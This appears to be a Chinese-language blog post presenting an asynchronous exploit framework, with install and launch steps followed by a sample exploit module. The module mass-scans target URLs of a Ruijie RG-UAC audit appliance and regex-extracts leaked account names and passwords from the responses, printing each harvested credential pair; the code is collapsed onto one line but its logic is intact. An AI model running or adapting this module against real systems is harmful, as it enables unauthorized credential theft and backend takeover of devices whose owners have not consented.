一款异步漏洞利用框架
1、安装需要的库文件
pip install aiohttp
2、下载软件到本地
git clone https://github.com/Amzza0x00/Zerooo-Exploitation-Framework.git
3、进入到该解压目录,运行console.py
cd Zerooo-Exploitation-Framework
python3 console.py
4、基本结构
import refrom zerooo.core.asyncpool import async_run # 协程运行from zerooo.core.log import LOGGER # 颜色输出from zerooo.core.options import Option # 设置获取exp属性from zerooo.request.httpclient import HttpClient # 异步http发包from zerooo.utils.util import get_target # 切分多个目标# 定义Zerooosploit类,继承Optionclass Zerooosploit(Option): def __init__(self): super(self.__class__, self).__init__() self.info = { 'Name': '锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露', # exp名字 'Module': 'exploit/ruijie/rg-uac-passleak', # exp路径 'Product': '锐捷RG-UAC统一上网行为管理审计系统', # 产品 'Cve': '', # cve编号 'Create_date': '20210411', # 创建日期 'Description': '锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台', # 描述 'Authors': '', # 作者 'References': '' # 参考链接 } self.option = { """ 注册exp所需参数 Current Setting 参数默认值, Required 可选/必须, Description 参数描述 """ 'targets': {'Current Setting': '', 'Required': 'yes', 'Description': '目标url,多个目标请用,分开'}, 'limit': {'Current Setting': None, 'Required': 'no', 'Description': '并发限制(默认根据当前系统自动调整)'} } # async def定义异步函数 async def rg_uac_passleak(self, target): # 请求方式、路径等 resp = await HttpClient().send_request_cgi('GET', url=target) return resp # 定义异步回调函数,用于处理结果 def rg_uac_passleak_callback(self, future): resp = future.result() if resp['code'] == 200: result = resp['text'] user = re.findall('"name":"(.*?)"', result) password = re.findall('"password":"(.*?)"', result) for i in range(len(user)): msg = f'name:{user[i]},password:{password[i]}' LOGGER.success(msg) else: msg = 'The target ' + str(resp['url']) + ' not vuln !' LOGGER.info(msg) # 运行方法 def exploit(self): # 调用get_options方法获取参数 targets = get_target(self.get_options('targets')) limit = self.get_options('limit') # async_run 异步调用 arg1 异步对象 arg2 可迭代对象 arg3 异步回调函数 arg4 并发速率 async_run(self.rg_uac_passleak, targets, self.rg_uac_passleak_callback, limit) LOGGER.info('exploit complete')
热文推荐